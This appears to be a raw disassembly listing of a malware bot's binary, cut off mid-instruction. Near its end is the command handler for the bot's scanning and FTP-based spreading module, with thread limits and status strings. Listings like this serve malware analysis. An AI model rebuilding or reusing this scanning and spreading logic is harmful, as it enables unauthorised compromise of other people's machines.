--------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422030 proc near ; CODE XREF: sub_4019FBj mov eax, ecx retn sub_422030 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_401EDDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401523 mov eax, esi pop esi retn 4 sub_422050 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422080 proc near ; CODE XREF: sub_40201Dj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_422080 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4220B0 proc near ; CODE XREF: sub_401BC2j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018F7 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_4220B0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013E8 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx lea ecx, [esp+1Ch] call sub_401D89 mov ecx, [eax] mov eax, [esp+10h] pop edi pop esi mov [eax], ecx pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422150 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4221AA loc_422168: ; CODE XREF: sub_422150+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019BA mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B90 ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422168 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_4221AA: ; CODE XREF: sub_422150+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_422150 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4221E0 proc near ; CODE XREF: sub_401212j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 20h call sub_4020DB sub_4221E0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_4221F5 mov edi, esi loc_4221F5: ; CODE XREF: ___:004221F1j push esi call sub_40110E mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_42220A mov edi, esi loc_42220A: ; CODE XREF: ___:00422206j push esi call sub_4010EB add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422230 proc near ; CODE XREF: sub_4021DAj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_4018F2 sub_422230 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422250 proc near ; CODE XREF: sub_40110Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_422250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422270 proc near ; CODE XREF: sub_40108Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_422270 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422290 proc near ; CODE XREF: sub_4011A9j mov eax, ecx retn sub_422290 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222B0 proc near ; CODE XREF: sub_401D89j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4018FC mov eax, esi pop esi retn 4 sub_4222B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4222E0 proc near ; CODE XREF: sub_401D5Cj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4222E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422310 proc near ; CODE XREF: sub_401E5Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401A3C add esp, 8 retn 8 sub_422310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422340 proc near ; CODE XREF: sub_401A2Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4020D6 mov ecx, eax call sub_4010C8 mov esi, eax push esi call sub_40206D push esi mov ebx, eax call sub_401D07 mov ecx, [eax] push ecx call sub_40206D mov edx, [ebx] push esi mov [eax], edx call sub_401D07 push esi mov ebx, eax call sub_40206D mov eax, [eax] push eax call sub_401D07 mov ecx, [ebx] push esi mov [eax], ecx call sub_4010F5 add esp, 1Ch mov ecx, edi push eax call sub_40163B push esi mov ecx, edi call sub_401956 sub_422340 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422400 proc near ; CODE XREF: sub_401D07j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_422400 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422420 proc near ; CODE XREF: sub_401E0Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_422420 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422450 proc near ; CODE XREF: sub_401550j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422450 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422470 proc near ; CODE XREF: sub_4017F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40203B add esp, 8 retn 8 sub_422470 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224A0 proc near ; CODE XREF: sub_401523j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4224A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224C0 proc near ; CODE XREF: sub_4010C8j mov eax, [ecx] retn sub_4224C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4224E0 proc near ; CODE XREF: sub_4020D6j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40107D mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4224E0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422510 proc near ; CODE XREF: sub_401B90j var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_4019BA mov ecx, eax call sub_4018F7 mov esi, eax push esi call sub_40110E push esi mov ebx, eax call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [ebx] push esi mov [eax], edx call sub_4010EB push esi mov ebx, eax call sub_40110E mov eax, [eax] push eax call sub_4010EB mov ecx, [ebx] push esi mov [eax], ecx call sub_40108C add esp, 1Ch mov ecx, edi push eax call sub_401E7E push esi mov ecx, edi call sub_4021DA sub_422510 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4225D0 proc near ; CODE XREF: sub_4010EBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_4225D0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4225F0 proc near ; CODE XREF: sub_4020DBj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D2A sub_4225F0 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_422620 proc near ; CODE XREF: sub_4018F2j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_437AD2 sub_422620 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422640 proc near ; CODE XREF: sub_4013E8j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_401EF1 add esp, 8 retn 8 sub_422640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422670 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_422670 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422690 proc near ; CODE XREF: sub_4018F7j mov eax, [ecx] retn sub_422690 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226B0 proc near ; CODE XREF: sub_4019BAj arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_401839 mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_4226B0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4226E0 proc near ; CODE XREF: sub_40163Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401A8C pop ecx retn 4 sub_4226E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422700 proc near ; CODE XREF: sub_401E7Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FB9 pop ecx retn 4 sub_422700 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422720 proc near ; CODE XREF: sub_401A3Cj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_42273B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_42273B: ; CODE XREF: sub_422720+11j retn sub_422720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422750 proc near ; CODE XREF: sub_40203Bj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_422750 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 19h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422791 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_401681 loc_422791: ; CODE XREF: sub_422750+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_422750 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4227E0 proc near ; CODE XREF: sub_401EF1j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_4227E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx mov eax, [esp+10h+arg_0] push eax push 15h call sub_4011CC add esp, 8 mov [esp+10h+var_10], eax test eax, eax mov [esp+10h+var_4], 0 jz short loc_422821 mov ecx, [esp+10h+arg_4] push ecx mov ecx, eax call sub_4014D3 loc_422821: ; CODE XREF: sub_4227E0+33j mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn sub_4227E0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422850 proc near ; CODE XREF: sub_401A8Cj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 call sub_4019C9 retn sub_422850 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422870 proc near ; CODE XREF: sub_401FB9j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push 0 mov eax, [ecx] call dword ptr [eax] retn sub_422870 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422890 proc near ; CODE XREF: sub_401681j arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx push edi call sub_4014D3 mov eax, [edi+15h] pop edi mov [esi+15h], eax mov eax, esi pop esi retn 4 sub_422890 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4228C0 proc near ; CODE XREF: sub_4019C9j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401A82 test [esp+4+arg_0], 1 jz short loc_4228D8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4228D8: ; CODE XREF: sub_4228C0+Dj mov eax, esi pop esi retn 4 sub_4228C0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4228F0 proc near ; CODE XREF: sub_401AF5j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4228F0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 10h push 9 push 3 push 4Fh push 16h push 4 lea eax, [esp+60h+var_3C] push 1 mov esi, ecx push eax mov dword_4D7F9B, offset aAsn ; "asn" call sub_4019C4 add esp, 24h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+8D008h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B sub_4228F0 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 14h push 12h push 1 push 14h push 13h push 4Fh push 16h push 4 lea edx, [esp+2Ch] push 1 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+8D036h] push eax mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 0Fh push 14h push 13h push 4Fh push 0Eh push 1 push 3 lea ecx, [esp+2Ch] push 13h push ecx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+8D064h] push eax push edx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 16h push 4 lea eax, [esp+2Ch] push 1 push eax call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+8D092h] push eax push ecx mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 13h push 14h push 1 push 14h push 13h push 4Fh push 10h push 14h lea edx, [esp+44h] push 6 push edx call sub_4019C4 add esp, 2Ch push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE add esi, 8D0C0h push eax push esi mov ecx, offset dword_449128 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422B40 proc near ; CODE XREF: sub_40138Ej var_78D = byte ptr -78Dh var_78C = dword ptr -78Ch var_788 = byte ptr -788h var_780 = dword ptr -780h var_770 = byte ptr -770h var_760 = byte ptr -760h var_6E0 = byte ptr -6E0h var_660 = dword ptr -660h var_65C = dword ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_644 = dword ptr -644h var_640 = dword ptr -640h var_638 = dword ptr -638h var_634 = dword ptr -634h var_630 = dword ptr -630h var_624 = byte ptr -624h var_60C = byte ptr -60Ch var_40C = byte ptr -40Ch var_20C = byte ptr -20Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_422B40 push eax mov large fs:0, esp sub esp, 784h push ebx push ebp push esi mov esi, [esp+79Ch+arg_0] mov ebp, ecx push edi lea edi, [esi+7Eh] lea ecx, [ebp+8D008h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422C0A push 3 call sub_40148D add esp, 4 test eax, eax jle short loc_422BDD push 3 call sub_401DA2 mov eax, dword_50DB60[eax*8] add esp, 4 push eax nop call near ptr 71AB3F41h push eax push offset aScanCipS ; "scan: cip (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 18h mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422BDD: ; CODE XREF: sub_422B40+52j lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push offset aScanNotStarted ; "scan: not started" push edx push eax mov ecx, offset byte_4D8085 call sub_401118 mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422C0A: ; CODE XREF: sub_422B40+40j lea ecx, [ebp+8D0C0h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_422CB0 mov edi, dword_4D8380 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0 call sub_4017EE push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+7A0h+var_788] mov ebx, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 cmp edi, ebx jl loc_4232BD mov edx, dword_44965F push edi push edx push offset aFtpPortDTotalS ; "ftp: port: %d, total sends: %d" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+93h] push eax mov al, [esi+94h] push eax push ecx push offset byte_4D8085 call sub_401857 add esp, 1Ch mov al, 1 jmp loc_422F3B ; --------------------------------------------------------------------------- loc_422CB0: ; CODE XREF: sub_422B40+DFj lea ecx, [ebp+8D064h] call sub_4014DD push eax mov ecx, edi call sub_4012EE test eax, eax jnz short loc_422D30 push eax push 3 call sub_401DA7 add esp, 8 test eax, eax jle short loc_422D05 push eax push offset aScanStoppedDTh ; "scan: stopped (%d threads)" lea ecx, [esi+2Ah] call sub_4014DD mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax push offset byte_4D8085 call sub_401857 add esp, 18h jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D05: ; CODE XREF: sub_422B40+194j lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push offset aScanCouldnTSto ; "scan: couldn't stop" push ecx push edx mov ecx, offset byte_4D8085 call sub_401118 jmp loc_422F39 ; --------------------------------------------------------------------------- loc_422D30: ; CODE XREF: sub_422B40+185j lea ecx, [ebp+8D036h] call sub_4014DD push eax mov ecx, edi call sub_4012EE mov edi, dword_511B14 test eax, eax jnz loc_422DDE push 3 call sub_40148D add esp, 4 mov ebx, eax lea eax, [esp+7A0h+var_788] mov ecx, esi push offset asc_444600 ; " " push 2 push eax call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 1 call sub_4017EE push eax call edi ; atoi add eax, ebx add esp, 4 cmp eax, 1F4h lea ecx, [esp+7A0h+var_788] setnle [esp+7A0h+var_78D] mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov al, [esp+7A0h+var_78D] test al, al jz loc_422F56 push ebx push offset aScanTooManyThr ; "scan: too many threads (%s)" lea ecx, [esi+2Ah] call sub_4014DD mov cl, [esi+94h] mov dl, [esi+93h] push eax push ecx push edx push offset byte_4D8085 call sub_401857 add esp, 18h loc_422DDE: ; CODE XREF: sub_422B40+20Bj lea ecx, [ebp+8D092h] call sub_4014DD push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_422F39 push offset asc_444600 ; " " lea eax, [esp+7A4h+var_624] push 1 push eax mov ecx, esi xor ebx, ebx call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 0Ah call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_624] mov edi, eax mov [esp+7A0h+var_4], 0FFFFFFFFh call sub_401226 mov eax, dword_445428 mov [esp+7A0h+var_78D], bl test eax, eax jz short loc_422E69 mov eax, offset dword_445428 loc_422E55: ; CODE XREF: sub_422B40+327j cmp [eax+8], edi jb short loc_422E5F mov [esp+7A0h+var_78D], 1 loc_422E5F: ; CODE XREF: sub_422B40+318j mov ecx, [eax+3Ch] add eax, 3Ch test ecx, ecx jnz short loc_422E55 loc_422E69: ; CODE XREF: sub_422B40+30Ej mov ebp, off_511C00 lea ecx, [esp+7A0h+var_60C] push offset aScanStats ; "scan: stats:" push ecx call ebp ; sub_5F74D1 mov eax, dword_445428 add esp, 8 test eax, eax jz short loc_422ECF mov edi, offset dword_445430 loc_422E8F: ; CODE XREF: sub_422B40+38Dj mov eax, [edi] lea edx, [edi-26h] add ebx, eax push eax push edx lea eax, [esp+7A8h+var_40C] push offset aSD ; " %s: %d," push eax call ebp ; sub_5F74D1 lea ecx, [esp+7B0h+var_40C] push 200h lea edx, [esp+7B4h+var_60C] push ecx push edx call near ptr 77C47920h nop mov eax, [edi+34h] add edi, 3Ch add esp, 1Ch test eax, eax jnz short loc_422E8F loc_422ECF: ; CODE XREF: sub_422B40+348j push ebx lea eax, [esp+7A4h+var_40C] push offset aTotalD ; " total: %d" push eax call ebp ; sub_5F74D1 lea ecx, [esp+7ACh+var_40C] push 200h lea edx, [esp+7B0h+var_60C] push ecx push edx nop call near ptr 77C47920h mov al, [esp+7B8h+var_78D] add esp, 18h test al, al jz short loc_422F29 xor eax, eax lea ecx, [esp+7A0h+var_60C] mov al, [esi+94h] push eax push ecx lea ecx, [esi+2Ah] call sub_4014DD push eax push 0 call sub_40152D add esp, 10h loc_422F29: ; CODE XREF: sub_422B40+3C3j lea edx, [esp+7A0h+var_60C] push edx call sub_4010D2 add esp, 4 loc_422F39: ; CODE XREF: sub_422B40+1C0j ; sub_422B40+1EBj ... xor al, al loc_422F3B: ; CODE XREF: sub_422B40+98j ; sub_422B40+C5j ... mov ecx, [esp+7A0h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 790h retn 4 ; --------------------------------------------------------------------------- loc_422F56: ; CODE XREF: sub_422B40+26Ej push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 1 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 2 call sub_4017EE push eax call edi ; atoi or ebx, 0FFFFFFFFh add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_65C], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 2 push ecx mov ecx, esi call sub_4016B8 mov ebp, 3 mov ecx, eax mov [esp+7A0h+var_4], ebp call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_644], eax mov [esp+7A0h+var_4], ebx call sub_401226 push offset asc_444600 ; " " lea edx, [esp+7A4h+var_788] push ebp push edx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 4 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_658], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov eax, [esp+7A0h+var_658] cmp eax, ebp jnb short loc_423033 mov [esp+7A0h+var_658], ebp jmp short loc_423043 ; --------------------------------------------------------------------------- loc_423033: ; CODE XREF: sub_422B40+4E8j cmp eax, 3Ch jbe short loc_423043 mov [esp+7A0h+var_658], 3Ch loc_423043: ; CODE XREF: sub_422B40+4F1j ; sub_422B40+4F6j push offset asc_444600 ; " " lea eax, [esp+7A4h+var_788] push 4 push eax mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 5 call sub_4017EE push eax call edi ; atoi add esp, 4 lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_654], eax mov [esp+7A0h+var_4], ebx call sub_401226 mov ecx, [esp+7A0h+var_654] mov eax, 960h cmp ecx, eax jbe short loc_42309C mov [esp+7A0h+var_654], eax loc_42309C: ; CODE XREF: sub_422B40+553j mov eax, dword_445428 mov [esp+7A0h+var_640], ebx test eax, eax mov [esp+7A0h+var_78C], 0 jz loc_42316C mov ebp, offset dword_445428 jmp short loc_4230C2 ; --------------------------------------------------------------------------- loc_4230BF: ; CODE XREF: sub_422B40+602j or ebx, 0FFFFFFFFh loc_4230C2: ; CODE XREF: sub_422B40+57Dj push offset asc_444600 ; " " lea ecx, [esp+7A4h+var_788] push 1 push ecx mov ecx, esi call sub_4016B8 mov ecx, eax mov [esp+7A0h+var_4], 6 call sub_4017EE mov edi, eax lea ecx, [ebp-28h] loc_4230EC: ; CODE XREF: sub_422B40+5CAj mov dl, [ecx] mov al, dl cmp dl, [edi] jnz short loc_423110 test al, al jz short loc_42310C mov dl, [ecx+1] mov al, dl cmp dl, [edi+1] jnz short loc_423110 add ecx, 2 add edi, 2 test al, al jnz short loc_4230EC loc_42310C: ; CODE XREF: sub_422B40+5B6j xor eax, eax jmp short loc_423114 ; --------------------------------------------------------------------------- loc_423110: ; CODE XREF: sub_422B40+5B2j ; sub_422B40+5C0j sbb eax, eax sbb eax, ebx loc_423114: ; CODE XREF: sub_422B40+5CEj test eax, eax lea ecx, [esp+7A0h+var_788] mov [esp+7A0h+var_4], 0FFFFFFFFh setz bl call sub_401226 test bl, bl jnz short loc_42314A mov edx, [esp+7A0h+var_78C] mov eax, [ebp+3Ch] add ebp, 3Ch inc edx test eax, eax mov [esp+7A0h+var_78C], edx jnz loc_4230BF jmp short loc_423169 ; --------------------------------------------------------------------------- loc_42314A: ; CODE XREF: sub_422B40+5EFj mov 